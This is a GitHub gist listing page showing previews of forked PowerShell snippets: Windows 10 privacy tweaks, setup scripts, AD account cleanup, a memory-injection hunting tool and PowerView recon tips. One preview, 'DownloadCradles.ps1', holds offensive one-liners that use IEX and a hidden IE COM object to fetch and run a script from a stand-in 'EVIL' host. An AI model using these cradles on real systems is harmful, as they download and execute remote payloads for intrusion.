Skip to content

Instantly share code, notes, and snippets.

@dantof
dantof / reclaimWindows10.ps1
Created January 8, 2017 21:14 — forked from alirobe/reclaimWindows10.ps1
"Reclaim Windows 10" turns off a bunch of unnecessary Windows 10 telemetery, removes bloatware, and privacy invasions. Review and tweak before running. Scripts for reversing are included and commented. Fork via https://github.com/Disassembler0 (different defaults)
##########
# Win10 Initial Setup Script
# Author: Disassembler <[email protected]>
# Version: 1.7, 2016-08-15
# dasm's script: https://github.com/Disassembler0/Win10-Initial-Setup-Script/
# THIS IS A PERSONALIZED VERSION
# This script leaves more MS defaults on, including MS security features.
# Tweaked based on personal preferences for @alirobe 2016-11-16 - v1.7.1
@dantof
dantof / NewComputer.ps1
Created January 15, 2021 13:24 — forked from jacqinthebox/NewComputer.ps1
Mighty Powershell #powershell
Function New-Computer {
param(
[Parameter(Mandatory = $true)]
[ValidateSet('small','medium','large','x-large')]
[string]$installtype,
[Parameter(Mandatory = $true)]
[bool]$virtualmachine
)
@dantof
dantof / !PowershellExamples.md
Created January 15, 2021 13:28 — forked from daephx/Format-Relative.ps1
[Powershell Examples] #Powershell #Examples

Powershell Examples

Personal collection of basic examples / scripts.

Name Description
Format-Relative Diffrent methods for displaying relative path.
Get-ImageData Get image information.
Get-LastAccess Retreive a timestamp of when an item was accessed..
Get-ModuleCount Measure the amount of loaded modules..
Hide-Item Set item attribute to 'Hidden'.
@dantof
dantof / Windows10-Setup.ps1
Created January 15, 2021 13:34 — forked from NickCraver/Windows10-Setup.ps1
(In Progress) PowerShell Script I use to customize my machines in the same way for privacy, search, UI, etc.
##################
# Privacy Settings
##################
# Privacy: Let apps use my advertising ID: Disable
Set-ItemProperty -Path HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\AdvertisingInfo -Name Enabled -Type DWord -Value 0
# To Restore:
#Set-ItemProperty -Path HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\AdvertisingInfo -Name Enabled -Type DWord -Value 1
# Privacy: SmartScreen Filter for Store Apps: Disable
Set-ItemProperty -Path HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost -Name EnableWebContentEvaluation -Type DWord -Value 0
@dantof
dantof / PowerView-3.0-tricks.ps1
Created January 15, 2021 13:36 — forked from HarmJ0y/PowerView-3.0-tricks.ps1
PowerView-3.0 tips and tricks
# PowerView's last major overhaul is detailed here: http://www.harmj0y.net/blog/powershell/make-powerview-great-again/
# tricks for the 'old' PowerView are at https://gist.github.com/HarmJ0y/3328d954607d71362e3c
# the most up-to-date version of PowerView will always be in the dev branch of PowerSploit:
# https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
# New function naming schema:
# Verbs:
# Get : retrieve full raw data sets
# Find : ‘find’ specific data entries in a data set
@dantof
dantof / Get-InjectedThread.ps1
Created January 15, 2021 13:36 — forked from jaredcatkinson/Get-InjectedThread.ps1
Code from "Taking Hunting to the Next Level: Hunting in Memory" presentation at SANS Threat Hunting Summit 2017 by Jared Atkinson and Joe Desimone
function Get-InjectedThread
{
<#
.SYNOPSIS
Looks for threads that were created as a result of code injection.
.DESCRIPTION
@dantof
dantof / himawari.ps1
Created January 15, 2021 13:39 — forked from MichaelPote/himawari.ps1
Windows Powershell Script to download the latest image from the Himawari-8 satelite, combine the tiles into a single image, convert to jpg and then set as the desktop background.
#
# Himawari-8 Downloader
#
#
#
# This script will scrape the latest image from the Himawari-8 satellite, recombining the tiled image,
# converting it to a JPG which is saved in My Pictures\Himawari\ and then set as the desktop background.
#
# http://himawari8.nict.go.jp/himawari8-image.htm
#
@dantof
dantof / DownloadCradles.ps1
Created January 15, 2021 13:41 — forked from HarmJ0y/DownloadCradles.ps1
Download Cradles
# normal download cradle
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")
# PowerShell 3.0+
IEX (iwr 'http://EVIL/evil.ps1')
# hidden IE com object
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r
# Msxml2.XMLHTTP COM object
@dantof
dantof / PS_Script_Template_V2_NoLogs.ps1
Created January 15, 2021 13:46 — forked from 9to5IT/PS_Script_Template_V2_NoLogs.ps1
PowerShell: Script Template Version 2 (without logging)
#requires -version 4
<#
.SYNOPSIS
<Overview of script>
.DESCRIPTION
<Brief description of script>
.PARAMETER <Parameter_Name>
<Brief description of parameter input required. Repeat this attribute if required>
@dantof
dantof / Manage-ADUsers.ps1
Created January 15, 2021 13:47 — forked from 9to5IT/Manage-ADUsers.ps1
PowerShell: Cleanup Inactive AD User Accounts
Import-Module ActiveDirectory
# Set the number of days since last logon
$DaysInactive = 90
$InactiveDate = (Get-Date).Adddays(-($DaysInactive))
#-------------------------------
# FIND INACTIVE USERS
#-------------------------------
# Below are four options to find inactive users. Select the one that is most appropriate for your requirements: